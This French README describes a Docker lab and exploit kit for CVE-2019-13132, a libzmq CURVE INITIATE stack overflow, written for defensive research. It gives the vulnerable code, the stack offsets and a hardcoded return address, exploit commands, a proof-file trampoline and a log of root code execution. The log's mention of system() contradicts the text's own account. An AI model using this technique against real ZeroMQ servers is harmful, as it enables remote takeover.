
CVE-2019-13132 — libzmq CURVE INITIATE débordement de pile → RCE. Exploit fonctionnel + laboratoire Docker.
Exploit RCE fonctionnel de bout en bout + laboratoire reproductible pour CVE-2019-13132, un débordement de tampon de pile dans le gestionnaire de poignée de main CURVE INITIATE de libzmq. Un attaquant connaissant la clé publique à long terme du serveur (un paramètre public par conception) peut déborder un tampon de pile de taille fixe dans process_initiate(), écraser l'adresse de retour sauvegardée et rediriger l'exécution vers du code arbitraire.
Par Nicolas Krassas (@dinosn).
Usage en laboratoire uniquement. Ce kit fournit une version intentionnellement vulnérable de libzmq 4.3.0 avec les mitigations désactivées. N'exposez pas le port 5556 en dehors du laboratoire. Le bogue a été corrigé dans libzmq 4.3.2.
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
Test de fumée automatisé (exécute l'exploit et vérifie le fichier de preuve) :
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # this file
├── Dockerfile # one-command containerised lab
├── server-curve.c # CURVE REP listener — the vulnerable target
├── exploit.py # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py # build-time offset extraction → build_offsets.json
├── calibrate.sh # runtime calibration → profile.json
├── start_server.sh # start/restart the target
├── run_lab_test.sh # automated end-to-end smoke test
└── entrypoint.sh # Docker entrypoint (ASLR off + server + calibrate)
src/curve_server.cpp:284-336 (libzmq 4.3.0) :
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box est un tampon de 416 octets alloué sur la pile. Le memcpy écrit size - 113 octets dans la région de charge utile de 400 octets (décalage 16..415). Tout INITIATE avec size > 513 déborde au-delà du tampon dans les registres sauvegardés de l'appelé et l'adresse de retour.
La vérification du cookie a lieu avant le débordement, donc l'INITIATE doit porter un cookie authentique — mais le cookie est obtenu à partir du message WELCOME précédent en utilisant uniquement la clé publique à long terme du serveur.
Le protocole CURVE est conçu pour que les clients possèdent déjà la clé publique à long terme du serveur (elle se trouve dans l'URI de connexion ou la configuration). L'exploit :
memcpy vulnérable se déclenche.Pas de credentials au niveau de l'application. Pas de contournement de l'authentification ZAP. Le débordement se déclenche pendant l'échange de clés CURVE, avant que l'application ne voie jamais le pair.
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
L'exploit envoie 464 octets de charge utile : 456 octets de remplissage (0x41) pour atteindre l'adresse de retour, puis 8 octets contenant l'adresse de lab_trampoline().
Après le débordement, crypto_box_open() échoue (les données débordées sont un texte chiffré inutilisable). Le chemin d'erreur enregistre l'échec, définit errno et retourne -1 — mais le chemin d'erreur n'accède qu'aux emplacements de pile en dessous de la région de débordement (RSP+0xe0, RSP+0xf0, RSP+0x280), donc il s'exécute proprement avec la pile corrompue.
L'épilogue de la fonction (add $0x628,%rsp; pop rbx-r15; ret) dépile les registres sauvegardés corrompus (maintenant 0x4141414141414141) puis ret charge notre adresse de trampoline.
lab_trampoline() utilise des appels système bruts (pas de libc, pas de fork()) pour écrire le fichier de preuve :
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
Des appels système bruts sont utilisés au lieu de system() / fork() car process_initiate() s'exécute sur le thread I/O de libzmq — appeler fork() depuis un thread non principal dans un processus multi-threadé provoque un interblocage sur les gestionnaires de verrouillage pthread_atfork de glibc.
La clé publique à long terme du serveur est un paramètre public dans le protocole CurveZMQ — les clients doivent l'avoir pour se connecter. Elle est généralement distribuée dans des fichiers de configuration, des URI ou des mécanismes de découverte. L'exploit ne nécessite aucun matériel secret.
L'exploit a besoin de deux valeurs :
| champ | valeur | source |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (binaire non-PIE, adresse fixe) |
offset_to_ret | 456 | désassemblage de process_initiate (0x658 - 0x490) |
Les deux sont codés en dur dans exploit.py comme valeurs par défaut intégrées pour la construction du laboratoire Docker (Debian 12, gcc 12, libzmq 4.3.0). Aucune étape de calibration n'est nécessaire — exécutez simplement l'exploit :
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
Priorité de résolution : drapeaux --trampoline/--offset → fichier --profile → /opt/zmq-curve-rce/profile.json → valeurs par défaut intégrées.
ZMTP n'a pas d'API d'introspection. Le message de bienvenue ne révèle que la version du protocole (3.x) et le mécanisme (CURVE) — rien sur la construction de libzmq, le compilateur ou la disposition binaire. Il n'y a pas d'identifiant de construction accessible à l'exécution qui permettrait une sélection automatique des décalages contre des cibles inconnues.
Les scripts calibrate.sh / compute_offsets.py sont fournis pour les reconstructions sur différentes distributions ou versions de gcc, où l'adresse du trampoline peut changer. Dans le laboratoire Docker, ils s'exécutent automatiquement mais ne sont pas nécessaires.
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target: 127.0.0.1:5556
[*] trampoline @ 0x0000000000401206
[*] offset to ret: 456 bytes
[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target
--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name: server-curve
...
Uid: 0 0 0 0
...
hostname: caa76cbbc4a4
--- end ---
[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.
| Défense | Effet |
|---|---|
| Mise à niveau vers libzmq >= 4.3.2 | Corrigé. Ajoute une vérification de limite supérieure sur la taille d'INITIATE avant le memcpy. |
Canaris de pile (-fstack-protector) | Détecte le débordement avant le retour de la fonction. Le canari se situe entre les variables locales et les registres sauvegardés ; le débordement le corrompt, déclenchant __stack_chk_fail. |
| ASLR | Randomise les adresses des bibliothèques partagées et de la pile. Le trampoline est dans un binaire non-PIE (adresse fixe), mais un serveur de production serait PIE, nécessitant une fuite d'information. |
| PIE | Randomise l'adresse de chargement du binaire du serveur. L'adresse du trampoline ne serait plus prévisible sans fuite. |
| NX | Pas pertinent ici — aucun shellcode n'est injecté ; l'exploit appelle du code existant. |
| ZAP / authentification au niveau de l'application | N'aide pas — le débordement se produit pendant l'échange de clés CURVE, avant que ZAP ne soit consulté. |
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2 # restore ASLR
Nicolas Krassas — @dinosn
MIT. Le code source intentionnellement vulnérable de libzmq 4.3.0 est récupéré au moment de la construction depuis le dépôt amont sous LGPLv3-avec-exceptions / MPLv2.
Pour la recherche en sécurité défensive, l'éducation et les tests de sécurité autorisés uniquement. Ne déployez pas la version vulnérable fournie en dehors d'un environnement de laboratoire confiné.